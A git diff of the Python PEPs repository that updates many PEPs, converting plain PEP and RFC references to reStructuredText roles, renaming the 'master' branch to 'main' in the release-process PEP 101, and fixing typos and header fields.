veto by the +core team vote that is open for one week and is not vetoed by the steering council. Core team members are always looking for promising contributors, @@ -314,14 +314,14 @@ when he `stepped down After discussion, a number of proposals were put forward for a new governance model, and the core devs voted to choose between them. The -overall process is described in PEP 8000 and PEP 8001, a review of -other projects was performed in PEP 8002, and the proposals themselves +overall process is described in :pep:`8000` and :pep:`8001`, a review of +other projects was performed in :pep:`8002`, and the proposals themselves were written up as the 801x series of PEPs. Eventually the proposal in -PEP 8016 was `selected +:pep:`8016` was `selected `__ as the new governance model, and was used to create the initial version of this PEP. The 8000-series PEPs are preserved for historical -reference (and in particular, PEP 8016 contains additional rationale +reference (and in particular, :pep:`8016` contains additional rationale and links to contemporary discussions), but this PEP is now the official reference, and will evolve following the rules described herein. @@ -330,8 +330,10 @@ herein. History of council elections ---------------------------- -* January 2019: PEP 8100 -* December 2019: PEP 8101 +* January 2019: :pep:`8100` +* December 2019: :pep:`8101` +* December 2020: :pep:`8102` +* December 2021: :pep:`8103` History of amendments @@ -344,7 +346,7 @@ History of amendments Acknowledgements ================ -This PEP began as PEP 8016, which was written by Nathaniel J. Smith +This PEP began as :pep:`8016`, which was written by Nathaniel J. Smith and Donald Stufft, based on a Django governance document written by Aymeric Augustin, and incorporated feedback and assistance from numerous others. diff --git a/pep-0020.txt b/pep-0020.txt index ffdbaf8bfcd..f81a44f1093 100644 --- a/pep-0020.txt +++ b/pep-0020.txt @@ -1,8 +1,6 @@ PEP: 20 Title: The Zen of Python -Version: $Revision$ -Last-Modified: $Date$ -Author: tim.peters@gmail.com (Tim Peters) +Author: Tim Peters Status: Active Type: Informational Content-Type: text/x-rst @@ -10,7 +8,6 @@ Created: 19-Aug-2004 Post-History: 22-Aug-2004 - Abstract ======== @@ -22,7 +19,7 @@ have been written down. The Zen of Python ================= -:: +.. code-block:: text Beautiful is better than ugly. Explicit is better than implicit. @@ -48,7 +45,7 @@ The Zen of Python Easter Egg ========== -:: +.. code-block:: pycon >>> import this @@ -56,21 +53,12 @@ Easter Egg References ========== -* Originally posted to comp.lang.python/python-list@python.org under a - thread called "The Way of Python" - https://groups.google.com/d/msg/comp.lang.python/B_VxeTBClM0/L8W9KlsiriUJ +Originally posted to comp.lang.python/python-list@python.org under a +thread called `"The Way of Python" +`__ Copyright ========= This document has been placed in the public domain. - - -.. - Local Variables: - mode: indented-text - indent-tabs-mode: nil - sentence-end-double-space: t - fill-column: 70 - End: diff --git a/pep-0042.txt b/pep-0042.txt index 6e86cf6f74f..23beb2b9337 100644 --- a/pep-0042.txt +++ b/pep-0042.txt @@ -3,15 +3,14 @@ Title: Feature Requests Version: $Revision$ Last-Modified: $Date$ Author: Jeremy Hylton -Status: Rejected +Status: Withdrawn Type: Process Content-Type: text/x-rst Created: 12-Sep-2000 Post-History: -Resolution: https://github.com/python/peps/pull/108#issuecomment-249603204 -.. note:: This PEP has been rejected as obsolete. +.. note:: This PEP has been `withdrawn as obsolete`_. All new feature requests should either go to the `Python bug tracker`_ for very simple requests or the `python-ideas`_ mailing list for everything else. The rest of this document is retained for historical @@ -25,7 +24,7 @@ This PEP contains a list of feature requests that may be considered for future versions of Python. Large feature requests should not be included here, but should be described in separate PEPs; however a large feature request that doesn't have its own PEP can be listed here -until its own PEP is created. See PEP 0 for details. +until its own PEP is created. See :pep:`0` for details. This PEP was created to allow us to close bug reports that are really feature requests. Marked as Open, they distract from the list of real @@ -106,7 +105,7 @@ Standard Library handler, it returns "". It would be better to make it raise an exception (corresponding to EINTR) or to restart. But these changes would have to applied to all places that can do blocking - interruptable I/O. So it's a big project. + interruptible I/O. So it's a big project. https://bugs.python.org/issue210599 @@ -150,7 +149,7 @@ Standard Library https://bugs.python.org/issue210849 -* urlparse should be updated to comply with RFC 2396, which defines +* urlparse should be updated to comply with :rfc:`2396`, which defines optional parameters for each segment of the path. https://bugs.python.org/issue210834 @@ -335,6 +334,8 @@ Building and Installing .. _`Python bug tracker`: https://bugs.python.org .. _`python-ideas`: https://mail.python.org/mailman/listinfo/python-ideas +.. _`withdrawn as obsolete`: https://github.com/python/peps/pull/108#issuecomment-249603204 + .. Local Variables: diff --git a/pep-0100.txt b/pep-0100.txt index f93b78292de..8684524993d 100644 --- a/pep-0100.txt +++ b/pep-0100.txt @@ -1083,11 +1083,9 @@ References * UCS-2: http://www.uazone.org/multiling/unicode/ucs2.html - * UTF-7: Defined in RFC2152, e.g. - http://www.uazone.org/multiling/ml-docs/rfc2152.txt + * UTF-7: Defined in :rfc:`2152` - * UTF-8: Defined in RFC2279, e.g. - https://tools.ietf.org/html/rfc2279 + * UTF-8: Defined in :rfc:`2279` * UTF-16: http://www.uazone.org/multiling/unicode/wg2n1035.html diff --git a/pep-0101.txt b/pep-0101.txt index e04b99316ad..3b6a18ac570 100644 --- a/pep-0101.txt +++ b/pep-0101.txt @@ -96,11 +96,11 @@ There are several types of releases you will need to make. These include: Some of these release types actually involve more than one release branch. In particular, a **new branch** is that point in the release cycle when a new feature release cycle begins. Under the current -organization of the cpython git repository, the *master* branch is always +organization of the cpython git repository, the *main* branch is always the target for new features. At some point in the release cycle of the next feature release, a **new branch** release is made which creates a new separate branch for stabilization and later maintenance of the -current in-progress feature release (x.y.0) and the *master* branch is modified +current in-progress feature release (x.y.0) and the *main* branch is modified to build a new version (which will eventually be released as x.y+1.0). While the **new branch** release step could occur at one of several points in the release cycle, current practice is for it to occur at feature code @@ -158,7 +158,7 @@ maintenance branches is ``X.Y``. This helps by performing several automatic editing steps, and guides you to perform some manual editing steps. -- Log into irc.freenode.net and join the #python-dev channel. +- Log into irc.libera.chat and join the #python-dev channel. You probably need to coordinate with other people around the world. This IRC channel is where we've arranged to meet. @@ -227,11 +227,6 @@ to perform some manual editing steps. (e.g. ``blurb release 3.4.7rc1``). This merges all the recent news blurbs into a single file marked with this release's version number. -- Check the docs for markup errors. - - cd to the Doc directory and run ``make suspicious``. If any markup - errors are found, fix them. - - Regenerate Lib/pydoc-topics.py. While still in the Doc directory, run ``make pydoc-topics``. Then copy @@ -247,8 +242,8 @@ to perform some manual editing steps. if there are differences, commit them. - Make sure the ``SOURCE_URI`` in ``Doc/tools/extensions/pyspecific.py`` - points to the right branch in the git repository (``master`` or ``X.Y``). - For a **new branch** release, change the branch in the file from *master* + points to the right branch in the git repository (``main`` or ``X.Y``). + For a **new branch** release, change the branch in the file from *main* to the new release branch you are about to create (``X.Y``). - Bump version numbers via the release script:: @@ -311,8 +306,7 @@ to perform some manual editing steps. - For a **final** major release, update the ``VERSIONS`` list of `docsbuild scripts`_: the release branch must be changed from - ``pre-release`` to ``stable``, tell the DE to update the ``/3/`` - symlink. + ``pre-release`` to ``stable``. - For **begin security-only mode** and **end-of-life** releases, review the two files and update the versions accordingly in all active branches. @@ -502,8 +496,8 @@ the main repo. # Checkout the correct branch: # 1. For feature pre-releases up to and including a # **new branch** release, i.e. alphas and first beta - # do a checkout of the master branch - $ git checkout master + # do a checkout of the main branch + $ git checkout main # 2. Else, for all other releases, checkout the # appropriate release branch. @@ -522,7 +516,7 @@ the main repo. Do any steps needed to setup the new release branch, including: - * In README.rst, change all references from ``master`` to + * In README.rst, change all references from ``main`` to the new branch, in particular, GitHub repo URLs. - For *all* releases, do the guided post-release steps with the @@ -540,7 +534,7 @@ the main repo. you will now need to manual remove each blurb entry from the ``Misc/NEWS.d/next`` directory that was cherry-picked into the release you are working on since that blurb entry - is now captured in the merged x.y.z.rst fils for the new + is now captured in the merged x.y.z.rst file for the new release. Otherwise, the blurb entry will appear twice in the `changelog.html` file, once under `Python next` and again under `x.y.z`. @@ -550,56 +544,56 @@ the main repo. $ git commit -m 'Post release updates' - If this is a **new branch** release (e.g. the first beta), - update the master branch to start development for the - following feature release. When finished, the ``master`` + update the main branch to start development for the + following feature release. When finished, the ``main`` branch will now build Python ``X.Y+1``. - - First, set master up to be the next release, i.e.X.Y+1.a0:: + - First, set main up to be the next release, i.e.X.Y+1.a0:: - $ git checkout master - $ .../release-tools/release.py --bump 3.9.0a0 + $ git checkout main + $ .../release-tools/release.py --bump 3.9.0a0 - - Edit all version references in README.rst + - Edit all version references in README.rst - - Move any historical "what's new" entries from ``Misc/NEWS`` to - ``Misc/HISTORY``. + - Move any historical "what's new" entries from ``Misc/NEWS`` to + ``Misc/HISTORY``. - - Edit ``Doc/tutorial/interpreter.rst`` (2 references to '[Pp]ython3x', - one to 'Python 3.x', also make the date in the banner consistent). + - Edit ``Doc/tutorial/interpreter.rst`` (2 references to '[Pp]ython3x', + one to 'Python 3.x', also make the date in the banner consistent). - - Edit ``Doc/tutorial/stdlib.rst`` and ``Doc/tutorial/stdlib2.rst``, which - have each one reference to '[Pp]ython3x'. + - Edit ``Doc/tutorial/stdlib.rst`` and ``Doc/tutorial/stdlib2.rst``, which + have each one reference to '[Pp]ython3x'. - - Add a new ``whatsnew/3.x.rst`` file (with the comment near the top - and the toplevel sections copied from the previous file) and - add it to the toctree in ``whatsnew/index.rst``. But beware that - the initial ``whatsnew/3.x.rst`` checkin from previous releases - may be incorrect due to the initial midstream change to ``blurb`` - that propagates from release to release! Help break the cycle: if - necessary make the following change:: + - Add a new ``whatsnew/3.x.rst`` file (with the comment near the top + and the toplevel sections copied from the previous file) and + add it to the toctree in ``whatsnew/index.rst``. But beware that + the initial ``whatsnew/3.x.rst`` checkin from previous releases + may be incorrect due to the initial midstream change to ``blurb`` + that propagates from release to release! Help break the cycle: if + necessary make the following change:: - - For full details, see the :source:`Misc/NEWS` file. - + For full details, see the :ref:`changelog `. + - For full details, see the :source:`Misc/NEWS` file. + + For full details, see the :ref:`changelog `. - - Update the version number in ``configure.ac`` and re-run ``autoconf``. + - Update the version number in ``configure.ac`` and re-run ``autoconf``. - - Make sure the ``SOURCE_URI`` in ``Doc/tools/extensions/pyspecific.py`` - points to ``master``. + - Make sure the ``SOURCE_URI`` in ``Doc/tools/extensions/pyspecific.py`` + points to ``main``. - - Update the version numbers for the Windows builds in PC/ and - PCbuild/, which have references to python38. - NOTE, check with Steve Dower about this step, it is probably obsolete.:: + - Update the version numbers for the Windows builds in PC/ and + PCbuild/, which have references to python38. + NOTE, check with Steve Dower about this step, it is probably obsolete.:: - $ find PC/ PCbuild/ -type f | xargs sed -i 's/python38/python39/g' - $ git mv -f PC/os2emx/python38.def PC/os2emx/python39.def - $ git mv -f PC/python38stub.def PC/python39stub.def - $ git mv -f PC/python38gen.py PC/python39gen.py + $ find PC/ PCbuild/ -type f | xargs sed -i 's/python38/python39/g' + $ git mv -f PC/os2emx/python38.def PC/os2emx/python39.def + $ git mv -f PC/python38stub.def PC/python39stub.def + $ git mv -f PC/python38gen.py PC/python39gen.py - - Commit these changes to the master branch:: + - Commit these changes to the main branch:: - $ git status - $ git add ... - $ git commit -m 'Bump to 3.9.0a0' + $ git status + $ git add ... + $ git commit -m 'Bump to 3.9.0a0' - Do another ``git status`` in this directory. @@ -612,16 +606,16 @@ the main repo. # For feature pre-releases prior to a **new branch** release, # i.e. a feature alpha release: - $ git push --dry-run --tags git@github.com:python/cpython.git master + $ git push --dry-run --tags git@github.com:python/cpython.git main # If it looks OK, take the plunge. There's no going back! - $ git push --tags git@github.com:python/cpython.git master + $ git push --tags git@github.com:python/cpython.git main # For a **new branch** release, i.e. first beta: $ git push --dry-run --tags git@github.com:python/cpython.git X.Y - $ git push --dry-run --tags git@github.com:python/cpython.git master + $ git push --dry-run --tags git@github.com:python/cpython.git main # If it looks OK, take the plunge. There's no going back! $ git push --tags git@github.com:python/cpython.git X.Y - $ git push --tags git@github.com:python/cpython.git master + $ git push --tags git@github.com:python/cpython.git main # For all other releases: $ git push --dry-run --tags git@github.com:python/cpython.git X.Y @@ -780,7 +774,7 @@ with RevSys.) if this is a **new branch** release, remind everyone that the new release branch exists and that they need to start considering whether to backport to it when merging changes to - master. + main. - Update any release PEPs (e.g. 361) with the release dates. @@ -832,12 +826,12 @@ with RevSys.) branch works (contact core-workflow team) https://github.com/python/core-workflow/issues - - Review the most recent commit history for the master and new release + - Review the most recent commit history for the main and new release branches to identify and backport any merges that might have been made - to the master branch during the release engineering phase and that + to the main branch during the release engineering phase and that should be in the release branch. - - Verify that CI is working for new PRs for the master and new release + - Verify that CI is working for new PRs for the main and new release branches and that the release branch is properly protected (no direct pushes, etc). @@ -986,7 +980,7 @@ This document has been placed in the public domain. .. _docsbuild scripts: - https://github.com/python/docsbuild-scripts/blob/master/build_docs.py + https://github.com/python/docsbuild-scripts/blob/main/build_docs.py .. Local Variables: diff --git a/pep-0102.txt b/pep-0102.txt index 5f7cff22aef..37e77b93e52 100644 --- a/pep-0102.txt +++ b/pep-0102.txt @@ -8,7 +8,7 @@ Author: anthony@interlink.com.au (Anthony Baxter), Status: Superseded Type: Informational Content-Type: text/x-rst -Created: 22-Aug-2001 (edited down on 9-Jan-2002 to become PEP 102) +Created: 09-Jan-2002 Post-History: Superseded-By: 101 @@ -17,10 +17,10 @@ Replacement Note ================ Although the size of the to-do list in this PEP is much less scary -than that in PEP 101, it turns out not to be enough justification +than that in :pep:`101`, it turns out not to be enough justification for the duplication of information, and with it, the danger of one of the copies to become out of date. Therefore, this PEP is not -maintained anymore, and micro releases are fully covered by PEP 101. +maintained anymore, and micro releases are fully covered by :pep:`101`. Abstract @@ -33,8 +33,8 @@ Guido himself. But several recent releases have been performed by other folks, so this PEP attempts to collect, in one place, all the steps needed to make a Python bugfix release. -The major Python release process is covered in PEP 101 - this PEP -is just PEP 101, trimmed down to only include the bits that are +The major Python release process is covered in :pep:`101` - this PEP +is just :pep:`101`, trimmed down to only include the bits that are relevant for micro releases, a.k.a. patch, or bug fix releases. It is organized as a recipe and you can actually print this out and @@ -160,7 +160,7 @@ from the release21-maint branch. 11. Once the release process has started, the documentation needs to be built and posted on python.org according to the instructions - in PEP 101. + in :pep:`101`. Note that Fred is responsible both for merging doc changes from the trunk to the branch AND for merging any branch changes from diff --git a/pep-0103.txt b/pep-0103.txt index ff3586e4799..c92469adc7b 100644 --- a/pep-0103.txt +++ b/pep-0103.txt @@ -137,7 +137,7 @@ you have done something like that:: $ git branch v1 origin/v1 The first command clones remote repository into local directory -`python``, creates a new local branch master, sets +``python``, creates a new local branch master, sets remotes/origin/master as its upstream remote-tracking branch and checks it out into the working directory. diff --git a/pep-0200.txt b/pep-0200.txt index eb6297d4659..a29e6fd3aa5 100644 --- a/pep-0200.txt +++ b/pep-0200.txt @@ -298,7 +298,7 @@ Open items -- completed/fixed Accepted and completed ====================== -* Change meaning of \x escapes - PEP 223 - Fredrik Lundh +* Change meaning of \x escapes - :pep:`223` - Fredrik Lundh * Add \U1234678 escapes in u"" strings - Fredrik Lundh @@ -330,8 +330,8 @@ Accepted and completed doing. It also makes the xrange objects obvious when working in the interactive interpreter. -* Extended print statement - Barry Warsaw PEP 214 - http://www.python.org/dev/peps/pep-0214/ SF Patch #100970 +* Extended print statement - Barry Warsaw :pep:`214` + SF Patch #100970 http://sourceforge.net/patch/?func=detailpatch&patch_id=100970&group_id=5470 * interface to poll system call - Andrew Kuchling SF Patch 100852 diff --git a/pep-0201.txt b/pep-0201.txt index 9675bc6622d..802eb55650c 100644 --- a/pep-0201.txt +++ b/pep-0201.txt @@ -95,7 +95,7 @@ Neither of these forms would work, since they both already mean something in Python and changing the meanings would break existing code. All other suggestions for new syntax suffered the same problem, or were in conflict with other another proposed feature called 'list -comprehensions' (see PEP 202). +comprehensions' (see :pep:`202`). The Proposed Solution ===================== diff --git a/pep-0203.txt b/pep-0203.txt index 032ef0cc433..a85d4a777e5 100644 --- a/pep-0203.txt +++ b/pep-0203.txt @@ -171,8 +171,8 @@ To work around this problem, the packages currently have to use methods or functions to modify an object in-place, which is definitely less readable than an augmented assignment expression. Augmented assignment won't solve all the problems for these packages, since some operations cannot be expressed in the -limited set of binary operators to start with, but it is a start. A -different PEP [3]_ is looking at adding new operators. +limited set of binary operators to start with, but it is a start. :pep:`211` +is looking at adding new operators. New methods @@ -324,9 +324,6 @@ References .. [2] http://sourceforge.net/patch?func=detailpatch&patch_id=100699&group_id=5470 -.. [3] PEP 211, Adding A New Outer Product Operator, Wilson - http://www.python.org/dev/peps/pep-0211/ - .. Local Variables: diff --git a/pep-0204.txt b/pep-0204.txt index 1b3da169935..561e83295e2 100644 --- a/pep-0204.txt +++ b/pep-0204.txt @@ -230,7 +230,7 @@ Open issues [5, 6, 1, 2, 3, 4, 5, 7, 9] - How should range literals interact with another proposed new - feature, "list comprehensions" [2]_? Specifically, should it be + feature, :pep:`"list comprehensions" <202>`? Specifically, should it be possible to create lists in list comprehensions? E.g.:: >>> [x:y for x in (1, 2) y in (3, 4)] @@ -241,7 +241,7 @@ Open issues Or a list of lists, like so:: - [[1, 2], [1, 2, 3], [2]_, [2, 3]] + [[1, 2], [1, 2, 3], [2], [2, 3]] However, as the syntax and semantics of list comprehensions are still subject of hot debate, these issues are probably best @@ -297,8 +297,6 @@ References ========== .. [1] http://sourceforge.net/patch/?func=detailpatch&patch_id=100902&group_id=5470 -.. [2] PEP 202, List Comprehensions - .. diff --git a/pep-0205.txt b/pep-0205.txt index 39aebeac67c..d746d7b0244 100644 --- a/pep-0205.txt +++ b/pep-0205.txt @@ -335,7 +335,7 @@ handle on an object that does not increment the object's reference count. This means that holding a vref on an object will not keep the object from being destroyed. This would allow the Python programmer, for example, to create the aforementioned tree -structure tree structure, which is automatically destroyed when it +structure, which is automatically destroyed when it is no longer in use -- by making all of the parent back-references into vrefs, they no longer create reference cycles which keep the tree from being destroyed. diff --git a/pep-0208.txt b/pep-0208.txt index b89e11cc673..6bee6b10872 100644 --- a/pep-0208.txt +++ b/pep-0208.txt @@ -185,7 +185,7 @@ stating the result. Currently, this result integer may only be -1, 0, 1. If the slot cannot handle the type combination, it may return a reference to ``Py_NotImplemented``. [XXX Note that this slot is still in flux since it should take into account rich comparisons -(i.e. PEP 207).] +(i.e. :pep:`207`).] Numeric comparisons are handled by a new numeric protocol API:: diff --git a/pep-0209.txt b/pep-0209.txt index 9358d6af94d..392c0828bd7 100644 --- a/pep-0209.txt +++ b/pep-0209.txt @@ -80,7 +80,7 @@ Some planned features are: Instead of using Python's global coercion model which creates temporary arrays, Numeric 2, like Numeric 1, will implement a - local coercion model as described in PEP 208 which defers the + local coercion model as described in :pep:`208` which defers the responsibility of coercion to the operator. By using internal buffers, a coercion operation can be done for each array (including output arrays), if necessary, at the time of the @@ -167,7 +167,7 @@ Some planned features are: 4. Rich comparisons - The implementation of PEP 207: Rich Comparisons in Python 2.1 + The implementation of :pep:`207`: Rich Comparisons in Python 2.1 provides additional flexibility when manipulating arrays. We intend to implement this feature in Numeric 2. @@ -684,19 +684,19 @@ This document is placed in the public domain. Related PEPs ============ -* PEP 207: Rich Comparisons +* :pep:`207`: Rich Comparisons by Guido van Rossum and David Ascher -* PEP 208: Reworking the Coercion Model +* :pep:`208`: Reworking the Coercion Model by Neil Schemenauer and Marc-Andre' Lemburg -* PEP 211: Adding New Linear Algebra Operators to Python +* :pep:`211`: Adding New Linear Algebra Operators to Python by Greg Wilson -* PEP 225: Elementwise/Objectwise Operators +* :pep:`225`: Elementwise/Objectwise Operators by Huaiyu Zhu -* PEP 228: Reworking Python's Numeric Model +* :pep:`228`: Reworking Python's Numeric Model by Moshe Zadka diff --git a/pep-0211.txt b/pep-0211.txt index cce893ec75b..c7d86d6d7b9 100644 --- a/pep-0211.txt +++ b/pep-0211.txt @@ -9,7 +9,14 @@ Content-Type: text/x-rst Created: 15-Jul-2000 Python-Version: 2.1 Post-History: -Resolution: https://www.python.org/dev/peps/pep-0465/#rejected-alternatives-to-adding-a-new-operator + + +.. note:: + + The approach in the later :pep:`465` was eventually accepted + in lieu of this PEP. The :pep:`Rejected Ideas + <465#rejected-alternatives-to-adding-a-new-operator>` + of that PEP explains the rationale in more detail. Introduction @@ -31,7 +38,7 @@ will be equivalent to:: Classes will be able to overload this operator using the special methods ``__across__``, ``__racross__``, and ``__iacross__``. In -particular, the new Numeric module (PEP 209) will overload this +particular, the new Numeric module (:pep:`209`) will overload this operator for multi-dimensional arrays to implement matrix multiplication. @@ -49,12 +56,12 @@ elements of its matrix arguments. The other implements the "mathematical" definition of that operation, e.g. performs row-column matrix multiplication. -Zhu and Lielens have proposed doubling up Python's operators in -this way [1]_. Their proposal would create six new binary infix +Zhu and Lielens have :pep:`proposed <225>` doubling up Python's operators in +this way. Their proposal would create six new binary infix operators, and six new in-place operators. The original version of this proposal was much more conservative. -The author consulted the developers of GNU Octave [2]_, an open +The author consulted the developers of GNU Octave [1]_, an open source clone of MATLAB. Its developers agreed that providing an infix operator for matrix multiplication was important: numerical programmers really do care whether they have to write ``mmul(A,B)`` @@ -62,7 +69,7 @@ instead of ``A op B``. On the other hand, when asked how important it was to have infix operators for matrix solution and other operations, Prof. James -Rawlings replied [3]_: +Rawlings replied [2]_: I DON'T think it's a must have, and I do a lot of matrix inversion. I cannot remember if its ``A\b`` or ``b\A`` so I always @@ -77,9 +84,9 @@ Iterators ========= The planned addition of iterators to Python 2.2 opens up a broader -scope for this proposal. As part of the discussion of PEP 201, -Lockstep Iteration [4]_, the author of this proposal conducted an -informal usability experiment [5]_. The results showed that users +scope for this proposal. As part of the discussion of :pep:`201`, +Lockstep Iteration, the author of this proposal conducted an +informal usability experiment [3]_. The results showed that users are psychologically receptive to "cross-product" loop syntax. For example, most users expected:: @@ -120,7 +127,7 @@ Discussion (1, 2) @ (3, 4) @ (5, 6) would have to return ``(1, 3, 5) ... (2, 4, 6)``, and *not* - ``((1, 3), 5) ... ((2, 4), 6)```. This should not require special + ``((1, 3), 5) ... ((2, 4), 6)``. This should not require special support from the parser, as the outer iterator created by the first ``@`` could easily be taught how to combine itself with ordinary iterators. @@ -163,10 +170,10 @@ Alternatives expression of a very common idiom (nested loops). 3. Introduce prefixed forms of all existing operators, such as - ``~*`` and ``~+``, as proposed in PEP 225 [1]_. + ``~*`` and ``~+``, as proposed in :pep:`225`. Our objections to this are that there isn't enough demand to - justify the additional complexity (see Rawlings' comments [3]_), + justify the additional complexity (see Rawlings' comments [2]_), and that the proposed syntax fails the "low toner" readability test. @@ -182,17 +189,11 @@ discussions of what numerical programmers really care about. References ========== -.. [1] PEP 225, Elementwise/Objectwise Operators, Zhu, Lielens - http://www.python.org/dev/peps/pep-0225/ - -.. [2] http://bevo.che.wisc.edu/octave/ - -.. [3] http://www.egroups.com/message/python-numeric/4 +.. [1] http://bevo.che.wisc.edu/octave/ -.. [4] PEP 201, Lockstep Iteration, Warsaw - http://www.python.org/dev/peps/pep-0201/ +.. [2] http://www.egroups.com/message/python-numeric/4 -.. [5] https://mail.python.org/pipermail/python-dev/2000-July/006427.html +.. [3] https://mail.python.org/pipermail/python-dev/2000-July/006427.html diff --git a/pep-0212.txt b/pep-0212.txt index cf7ab8a8968..1ab3287359c 100644 --- a/pep-0212.txt +++ b/pep-0212.txt @@ -14,7 +14,7 @@ Post-History: Rejection Notice ================ -This PEP has been rejected. ``enumerate()``, introduced in PEP 279 [6]_, +This PEP has been rejected. ``enumerate()``, introduced in :pep:`279`, covers the use-case proposed in this PEP, and the PEP author has been unreachable. @@ -175,7 +175,7 @@ References .. [1] http://docs.python.org/reference/compound_stmts.html#for -.. [2] Lockstep Iteration, PEP 201 +.. [2] Lockstep Iteration, :pep:`201` .. [3] http://sourceforge.net/patch/download.php?id=101138 @@ -183,9 +183,6 @@ References .. [5] http://sourceforge.net/patch/download.php?id=101178 -.. [6] PEP 279, The enumerate() built-in function, Hettinger - https://www.python.org/dev/peps/pep-0279/ - .. Local Variables: diff --git a/pep-0213.txt b/pep-0213.txt index adb484f33d8..fe7c9438aef 100644 --- a/pep-0213.txt +++ b/pep-0213.txt @@ -229,7 +229,7 @@ Caveats Note ==== -The descriptor mechanism described in PEP 252 is powerful enough +The descriptor mechanism described in :pep:`252` is powerful enough to support this more directly. A 'getset' constructor may be added to the language making this possible:: diff --git a/pep-0214.txt b/pep-0214.txt index 65b69ac7ba8..05050689bf5 100644 --- a/pep-0214.txt +++ b/pep-0214.txt @@ -193,7 +193,7 @@ symbol. necessary! Of course you want the file to be an arbitrary expression, not just a single word. (You definitely want to be able to write ``print >>sys.stderr``.) Without the expression the - parser would't be able to distinguish where that expression ends + parser wouldn't be able to distinguish where that expression ends and where the next one begins, e.g. :: diff --git a/pep-0218.txt b/pep-0218.txt index 27fe3ba6a03..03c39c72e77 100644 --- a/pep-0218.txt +++ b/pep-0218.txt @@ -140,10 +140,10 @@ dictionaries less instantly recognizable. It was also contemplated that the braced notation would support set comprehensions; however, Python 2.4 provided generator expressions which fully met that need and did so it a more general way. -(See PEP 289 for details on generator expressions). +(See :pep:`289` for details on generator expressions). So, Guido ruled that there would not be a set syntax; however, the -issue could be revisited for Python 3000 (see PEP 3000). +issue could be revisited for Python 3000 (see :pep:`3000`). History @@ -195,7 +195,7 @@ reliable lookup. While it would be easy to require set elements to be immutable, this would preclude sets of sets (which are widely used in graph algorithms and other applications). -Earlier drafts of PEP 218 had only a single set type, but the +Earlier drafts of :pep:`218` had only a single set type, but the ``sets.py`` implementation in Python 2.3 has two, Set and ImmutableSet. For Python 2.4, the new built-in types were named ``set`` and ``frozenset`` which are slightly less cumbersome. diff --git a/pep-0219.txt b/pep-0219.txt index 48c9560cd38..64bed7b6e8f 100644 --- a/pep-0219.txt +++ b/pep-0219.txt @@ -16,7 +16,7 @@ Introduction This PEP discusses changes required to core Python in order to efficiently support generators, microthreads and coroutines. It is -related to PEP 220, which describes how Python should be extended +related to :pep:`220`, which describes how Python should be extended to support these facilities. The focus of this PEP is strictly on the changes required to allow these extensions to work. @@ -59,7 +59,7 @@ way for making Python able to realistically manage thousands of separate "threads" of activity (vs. today's limit of perhaps dozens of separate threads of activity). -Another justification for this PEP (explored in PEP 220) is that +Another justification for this PEP (explored in :pep:`220`) is that coroutines and generators often allow a more direct expression of an algorithm than is possible in today's Python. diff --git a/pep-0225.txt b/pep-0225.txt index 23e8bb62514..da526b78670 100644 --- a/pep-0225.txt +++ b/pep-0225.txt @@ -10,7 +10,14 @@ Content-Type: text/x-rst Created: 19-Sep-2000 Python-Version: 2.1 Post-History: -Resolution: https://www.python.org/dev/peps/pep-0465/#rejected-alternatives-to-adding-a-new-operator + + +.. note:: + + The approach in the later :pep:`465` was eventually accepted + in lieu of this PEP. The :pep:`Rejected Ideas + <465#rejected-alternatives-to-adding-a-new-operator>` + of that PEP explains the rationale in more detail. Introduction @@ -751,13 +758,13 @@ These are earlier drafts of this PEP: http://www.python.org/pipermail/python-list/2000-August/112529.html http://www.python.org/pipermail/python-dev/2000-August/014906.html -There is an alternative PEP (officially, PEP 211) by Greg Wilson, titled +There is an alternative PEP (officially, :pep:`211`) by Greg Wilson, titled "Adding New Linear Algebra Operators to Python". Its first (and current) version is at: http://www.python.org/pipermail/python-dev/2000-August/014876.html - http://www.python.org/dev/peps/pep-0211/ + :pep:`211` Additional References diff --git a/pep-0226.txt b/pep-0226.txt index a1a030c0259..f357b3329e6 100644 --- a/pep-0226.txt +++ b/pep-0226.txt @@ -53,7 +53,7 @@ The guidelines and schedule will be revised based on discussion in the python-dev@python.org mailing list. The PEP system was instituted late in the Python 2.0 development -cycle and many changes did not follow the process described in PEP 1. +cycle and many changes did not follow the process described in :pep:`1`. The development process for 2.1, however, will follow the PEP process as documented. diff --git a/pep-0227.txt b/pep-0227.txt index cca2defbf93..e74ec00cdc0 100644 --- a/pep-0227.txt +++ b/pep-0227.txt @@ -37,7 +37,7 @@ This proposal changes the rules for resolving free variables in Python functions. The new name resolution semantics will take effect with Python 2.2. These semantics will also be available in Python 2.1 by adding "from __future__ import nested_scopes" to the -top of a module. (See PEP 236.) +top of a module. (See :pep:`236`.) The Python 2.0 definition specifies exactly three namespaces to check for each name -- the local namespace, the global namespace, diff --git a/pep-0228.txt b/pep-0228.txt index 7469200ab44..9fcc8bab22f 100644 --- a/pep-0228.txt +++ b/pep-0228.txt @@ -13,7 +13,7 @@ Post-History: Withdrawal ========== -This PEP has been withdrawn in favor of PEP 3141. +This PEP has been withdrawn in favor of :pep:`3141`. Abstract diff --git a/pep-0231.txt b/pep-0231.txt index 2600bf82dc6..6e8d5d211f4 100644 --- a/pep-0231.txt +++ b/pep-0231.txt @@ -120,9 +120,9 @@ is used. Related Work ============ -PEP 213 [9]_ describes a different approach to hooking into -attribute access and modification. The semantics proposed in PEP -213 can be implemented using the ``__findattr__()`` hook described +:pep:`213` describes a different approach to hooking into +attribute access and modification. The semantics proposed in :pep:`213` +can be implemented using the ``__findattr__()`` hook described here, with one caveat. The current reference implementation of ``__findattr__()`` does not support hooking on attribute deletion. This could be added if it's found desirable. See example below. @@ -614,8 +614,6 @@ References .. [6] http://www.python.org/doc/essays/metaclasses/ .. [7] http://www.foretec.com/python/workshops/1998-11/dd-ascher-sum.html .. [8] http://docs.python.org/howto/regex.html -.. [9] PEP 213, Attribute Access Handlers, Prescod - http://www.python.org/dev/peps/pep-0213/ Rejection diff --git a/pep-0235.txt b/pep-0235.txt index 41b96a71817..f152caa9cf3 100644 --- a/pep-0235.txt +++ b/pep-0235.txt @@ -8,7 +8,7 @@ Type: Standards Track Content-Type: text/x-rst Created: 21-Feb-2001 Python-Version: 2.1 -Post-History: 16 February 2001 +Post-History: 16-Feb-2001 Note diff --git a/pep-0236.txt b/pep-0236.txt index 9cc4d3b44f5..f1043a3c0f0 100644 --- a/pep-0236.txt +++ b/pep-0236.txt @@ -20,17 +20,17 @@ semantics of core language constructs, or changes their accidental capriciously, and is always done with the aim of improving the language over the long term, over the short term it's contentious and disrupting. -PEP 5, Guidelines for Language Evolution [1]_ suggests ways to ease the pain, +:pep:`5`, Guidelines for Language Evolution suggests ways to ease the pain, and this PEP introduces some machinery in support of that. 